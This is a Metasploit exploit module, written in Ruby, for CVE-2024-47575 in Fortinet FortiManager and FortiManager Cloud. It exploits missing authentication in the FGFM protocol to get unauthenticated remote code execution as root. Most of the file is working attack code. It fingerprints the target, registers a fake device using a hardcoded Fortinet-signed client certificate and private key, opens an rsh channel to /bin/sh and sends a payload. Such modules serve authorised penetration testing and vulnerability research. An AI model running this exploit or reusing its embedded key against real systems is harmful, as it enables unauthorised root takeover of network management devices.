##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Fortinet FortiManager Unauthenticated RCE',
'Description' => %q{
This module exploits a missing authentication vulnerability affecting FortiManager and FortiManager
Cloud devices to achieve unauthenticated RCE with root privileges.
The vulnerable FortiManager versions are:
* 7.6.0
* 7.4.0 through 7.4.4
* 7.2.0 through 7.2.7
* 7.0.0 through 7.0.12
* 6.4.0 through 6.4.14
* 6.2.0 through 6.2.12
The vulnerable FortiManager Cloud versions are:
* 7.4.1 through 7.4.4
* 7.2.1 through 7.2.7
* 7.0.1 through 7.0.12
* 6.4 (all versions).
},
'License' => MSF_LICENSE,
'Author' => [
'sfewer-r7', # MSF Exploit & Rapid7 Analysis
],
'References' => [
['CVE', '2024-47575'],
# AttackerKB Rapid7 Analysis.
['URL', 'https://attackerkb.com/topics/OFBGprmpIE/cve-2024-47575/rapid7-analysis'],
# Bishop Fox details certificate requirements for connecting to the FGFM service.
['URL', 'https://bishopfox.com/blog/a-look-at-fortijump-cve-2024-47575'],
# Vendor Advisory.
['URL', 'https://fortiguard.fortinet.com/psirt/FG-IR-24-423']
],
'DisclosureDate' => '2024-10-23',
'Platform' => %w[unix linux],
'Arch' => [ARCH_CMD],
'Privileged' => true, # Code execution as 'root'
'DefaultOptions' => {
'RPORT' => 541,
'SSL' => true,
'FETCH_WRITABLE_DIR' => '/tmp'
},
'Targets' => [ [ 'Default', {} ] ],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
# The exploit provides a suitable client certificate/key pair by default, however we can let a user configure
# a different certificate/key pair to use if they want. The user can also override the serial number and
# platform if needed, but the exploit will try to detect the serial number and platform from the certificate
# by default.
OptPath.new('ClientCert', [false, 'A file path to an x509 cert, signed by Fortinet, with a serial number in the CN']),
OptPath.new('ClientKey', [false, 'A file path to the corresponding private key for the ClientCert.']),
OptString.new('ClientSerialNumber', [false, 'If set, use this serial number instead of extracting one from the ClientCert.']),
OptString.new('ClientPlatform', [false, 'If set, use this platform instead of determining the platform at runtime.'])
]
)
end
def check
fgfm_sock = make_socket
peer_cert = OpenSSL::X509::Certificate.new(fgfm_sock.peer_cert)
fgfm_sock.close
organization = get_cert_subject_item(peer_cert, 'O')
common_name = get_cert_subject_item(peer_cert, 'CN')
# Detect that the target is a Fortinet FortiManager, by inspecting the certificate the server is using.
# We look for an organization (O) of 'Fortinet', and a common name (CN) that starts with a FortiManager serial
# number identifier.
return CheckCode::Detected('Detected Fortinet FortiManager') if organization == 'Fortinet' && common_name&.start_with?('FMG')
CheckCode::Unknown
end
def exploit
client_cert_raw = datastore['ClientCert'] ? File.binread(datastore['ClientCert']) : get_client_cert
client_cert = OpenSSL::X509::Certificate.new(client_cert_raw)
common_name = get_cert_subject_item(client_cert, 'CN')
fail_with(Failure::BadConfig, 'No common name in client certificate subject') unless common_name
print_status("Client certificate common name: #{common_name}")
serial_number = 'FMG-VM0000000000'
platform = 'FortiManager-VM64'
# The platform needs to be the expected type of the corresponding serial number. We try to match these up here,
# and we allow for the automatic detection to be overridden by the ClientSerialNumber and ClientPlatform options
# in case it is needed.
if common_name.start_with? 'FMG'
serial_number = common_name
platform = 'FortiManager-VM64'
elsif common_name.start_with? 'FG'
serial_number = common_name
platform = 'FortiGate-VM64'
else
print_warning('Client certificate does not include a serial number in the common name. The target must be configured to accept a certificate like this.')
end
serial_number = datastore['ClientSerialNumber'] if datastore['ClientSerialNumber']
platform = datastore['ClientPlatform'] if datastore['ClientPlatform']
print_status("Using client serial number '#{serial_number}' and platform '#{platform}'.")
print_status('Connecting...')
fgfm_sock = make_socket
fail_with(Failure::UnexpectedReply, 'Connection failed.') unless fgfm_sock
print_status('Registering device...')
req1 = "get auth\r\nserialno=#{serial_number}\r\nplatform=#{platform}\r\nhostname=localhost\r\n\r\n\x00"
resp1 = send_packet(fgfm_sock, req1)
unless resp1&.include?('reply 200')
fail_with(Failure::UnexpectedReply, 'Request 1 failed: No reply 200.')
end
print_status('Creating channel...')
req2 = "get connect_tcp\r\ntcp_port=rsh\r\nchan_window_sz=#{32 * 1024}\r\nterminal=1\r\ncmd=/bin/sh\r\nlocalid=0\r\n\r\n\x00"
resp2 = send_packet(fgfm_sock, req2)
unless resp2&.include?('action=ack')
fail_with(Failure::UnexpectedReply, 'Request 2 failed: No ack.')
end
localid = resp2.match(/localid=(\d+)/)
unless localid
fail_with(Failure::UnexpectedReply, 'Request 2 failed: No localid found.')
end
print_status('Triggering...')
req3 = "channel\r\nremoteid=#{localid[1]}\r\n\r\n\x00" + payload.encoded.length.to_s + "\n" + payload.encoded + "0\n"
send_packet(fgfm_sock, req3, read: false)
end
# We create a TCP socket like this as we want to control how we specify the client certificate/key pair, which may
# either be a file path, or a blob of text.
def make_socket
hash = {
'Proto' => 'tcp',
'PeerHost' => datastore['RHOST'],
'PeerPort' => datastore['RPORT'],
'SSL' => true,
'SSLVerifyMode' => 'NONE',
'Context' =>
{
'Msf' => framework,
'MsfExploit' => self
}
}
hash['SSLClientCert'] = datastore['ClientCert'] if datastore['ClientCert']
hash['SSLClientKey'] = datastore['ClientKey'] if datastore['ClientKey']
params = Rex::Socket::Parameters.from_hash(hash)
params.ssl_client_cert = get_client_cert unless datastore['ClientCert']
params.ssl_client_key = get_client_key unless datastore['ClientKey']
fgfm_sock = Rex::Socket::Tcp.create_param(params)
# Register our new socket, so that abort_sockets will close this socket after the payload handler
# has caught the session (or until WfSDelay timesout). This avoids us having to introduce a separate timeout
# in the exploit method, before we manually close the socket and then try to catch the session. We want to keep
# the socket open until we have a session, as closing the socket too quickly can prevent the payload command
# we transmit over the FGFM channel on this socket from executing.
add_socket(fgfm_sock)
fgfm_sock
end
def send_packet(fgfm_sock, data, read: true)
packet = [0x36E01100, data.length + 8].pack('NN')
packet += data
fgfm_sock.write(packet)
return nil unless read
header = fgfm_sock.read(8)
unless header
print_error('Failed to read an FGFM header')
return nil
end
magic, len = header.unpack('NN')
unless magic == 0x36E01100
print_error('Bad magic value in FGFM header')
return nil
end
unless len >= 8
print_error('Bad length value in FGFM header')
return nil
end
fgfm_sock.read(len - 8)
end
def get_cert_subject_item(cert, type)
cert.subject.to_a.each do |item|
return item[1] if item[0] == type
end
nil
end
=begin
An x509 certificate from an unregistered FortiManager trial VM, located at /etc/cert/local/ on the device, with a
serial number of FMG-VM0000000000 and a platform of FortiManager-VM64.
$ sha1sum Fortinet_Local2.cer
9fad50dace25e68694e028f628282b1194ec58a1 Fortinet_Local2.cer
$ sha1sum Fortinet_Local2.key
d006e298df00450973e22c74726404d841db9874 Fortinet_Local2.key
$ openssl x509 -noout -text -in Fortinet_Local2.cer
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 405822 (0x6313e)
Signature Algorithm: sha256WithRSAEncryption
Issuer: C = US, ST = California, L = Sunnyvale, O = Fortinet, OU = Certificate Authority, CN = support, emailAddress = support@fortinet.com
Validity
Not Before: Nov 10 21:14:26 2017 GMT
Not After : Jan 19 03:14:07 2038 GMT
Subject: C = US, ST = California, L = Sunnyvale, O = Fortinet, OU = FortiManager, CN = FMG-VM0000000000, emailAddress = support@fortinet.com
=end
def get_client_cert
"-----BEGIN CERTIFICATE-----
MIIDzDCCArSgAwIBAgIDBjE+MA0GCSqGSIb3DQEBCwUAMIGgMQswCQYDVQQGEwJV
UzETMBEGA1UECBMKQ2FsaWZvcm5pYTESMBAGA1UEBxMJU3Vubnl2YWxlMREwDwYD
VQQKEwhGb3J0aW5ldDEeMBwGA1UECxMVQ2VydGlmaWNhdGUgQXV0aG9yaXR5MRAw
DgYDVQQDEwdzdXBwb3J0MSMwIQYJKoZIhvcNAQkBFhRzdXBwb3J0QGZvcnRpbmV0
LmNvbTAeFw0xNzExMTAyMTE0MjZaFw0zODAxMTkwMzE0MDdaMIGgMQswCQYDVQQG
EwJVUzETMBEGA1UECBMKQ2FsaWZvcm5pYTESMBAGA1UEBxMJU3Vubnl2YWxlMREw
DwYDVQQKEwhGb3J0aW5ldDEVMBMGA1UECxMMRm9ydGlNYW5hZ2VyMRkwFwYDVQQD
ExBGTUctVk0wMDAwMDAwMDAwMSMwIQYJKoZIhvcNAQkBFhRzdXBwb3J0QGZvcnRp
bmV0LmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMcgGzRlTTeV
jIcE8D7z7Vnp6LKDcGE57VL4qs1fOxvTrK2j7vWbVMHSsOpf8taAAm55qmqeS//w
oCJQq3t5mmq1M6MHm2nom6Q+dObcsfhieLrIFwp9X1Xt9YHKQd5qOR5PysrMhFKd
pwMJfmlzuWWcIUeilgecP6eq9GS50gu4m+0NK0d3LTsmWz1jLNC3k74fYwYDsaPn
hl/tsxcqZWrYHUHJhH5ep8YAxE6Eo2JG67BXOI/JbxrWPEh+zRLqA7ZrWeBPl0AE
IXTK+SIBJTW0dpnxEcG6wBQQxCp8jZ+RlaFpKjBdYucDVTDtkLabvetOrAn+mjcR
utg6NHlptSECAwEAAaMNMAswCQYDVR0TBAIwADANBgkqhkiG9w0BAQsFAAOCAQEA
l265IvoXNxpTJEWdYwYvjAFdaueBk349ApvriQmsPdAJmhFgF4U8l6PI/kBPVYCg
zP0EA1zImHwLFkzlCVtMtzhuUY3h2ZIUEhYwX0xEf5Kay2XHicWAwugQ0k/QDmiv
w7/w7UTiwPaMLroEcjRbH8T4TLCXBdKsgXYW+t72CSA8MJDSug8o2yABom6XKlXl
35mD93BrFkbxhhAiCrrC63byX7XTuXTyrP1dO9Qi9aSPWrIbi2SV+SjTLhP0n1bd
ikVOHNNreyhQRlRjguPrW0P2Xqjbecgp98tdRyoOSr9sF5Qo5TKdvIwUFClFgsy+
7pactwTnQmwhvlLQ7Z/dOg==
-----END CERTIFICATE-----"
end
def get_client_key
"-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDHIBs0ZU03lYyH
BPA+8+1Z6eiyg3BhOe1S+KrNXzsb06yto+71m1TB0rDqX/LWgAJueapqnkv/8KAi
UKt7eZpqtTOjB5tp6JukPnTm3LH4Yni6yBcKfV9V7fWBykHeajkeT8rKzIRSnacD
CX5pc7llnCFHopYHnD+nqvRkudILuJvtDStHdy07Jls9YyzQt5O+H2MGA7Gj54Zf
7bMXKmVq2B1ByYR+XqfGAMROhKNiRuuwVziPyW8a1jxIfs0S6gO2a1ngT5dABCF0
yvkiASU1tHaZ8RHBusAUEMQqfI2fkZWhaSowXWLnA1Uw7ZC2m73rTqwJ/po3EbrY
OjR5abUhAgMBAAECggEAcIXaGa+tBN4DfUDzKf/ZflfJ4SaZWLfNPne6vTc1RbJG
ABGFNVFDggu3YZo6ta+8sAUcogc11zl4pCuF286Jzgb7WQMxdZW2bgfFM7g+8adj
pdjv/EOAniRL+b37nt3TzSc154fOtojUGclBoAF/IMYroDlmIoLPDcZzOIAxC+GU
BCkCh/a3AFnhkkym0IGx4i89ji+nxcY5vEqD4n4Q49gkebxjmTVBq7YEU2YwOsbT
0BO9jmYKE0wumetNpYJsR2qVI7dUmJMNdcEah/A9ODqMM2BJUxovW8XgR9wOIXN2
3aWwmPeAtTnVhvBaHJL/ItGOGjmdcM1pwChowCWj4QKBgQD5EMo2A9+qeziSt3Ve
nmD1o7zDyGAe0bGLN4rIou6I/Zz8p7ckRYIAw2HhmsE2C2ZF8OS9GWmsu23tnTBl
DQTj1fSquw1cjLxUgwTkLUF7FTUBrxLstYSz1EJSzd8+V8mLI3bXriq8yFVK7z8y
jFBB3BqkqUcBjIWFAMDvWoyJtQKBgQDMq15o9bhWuR7rGTvzhDiZvDNemTHHdRWz
6cxb4d4TWsRsK73Bv1VFRg/SpDTg88kV2X8wqt7yfR2qhcyiAAFJq9pflG/rUSp6
KvNbcXW7ys+x33x+MkZtbSh8TJ3SP9IoppawB/SP/p2YxkdgjPF/sllPEAkgHznW
Gwk5jxRxPQKBgQDQAKGfcqS8b6PTg7tVhddbzZ67sv/zPRSVO5F/9fJYHdWZe0eL
1zC3CnUYQHHTfLmw93lQI4UJaI5pvrjH65OF4w0t+IE0JaSyv6i6FsF01UUrXtbj
MMTemgm5tY0XN6FtvfRmM2IlvvjcV+njgSMVnYfytBxEwuJPLU3zlx9/cQKBgQDB
2GEPugLAqI6fDoRYjNdqy/Q/WYrrJXrLrtkuAQvreuFkrj0IHuZtOQFNeNbYZC0E
871iY8PLGTMayaTZnnWZyBmIwzcJQhOgJ8PbzOc8WMdD6a6oe4d2ppdcutgTRP0Q
IU/BI5e/NeEfzFPYH0Wvs0Sg/EgYU1rc7ThceqZa5QKBgQCf18PRZcm7hVbjOn9i
BFpFMaECkVcf6YotgQuUKf6uGgF+/UOEl6rQXKcf1hYcSALViB6M9p5vd65FHq4e
oDzQRBEPL86xtNfQvbaIqKTalFDv4ht7DlF38BQx7MAlJQwuljj1hrQd9Ho+VFDu
Lh1BvSCTWFh0WIUxOrNlmlg1Uw==
-----END PRIVATE KEY-----"
end
end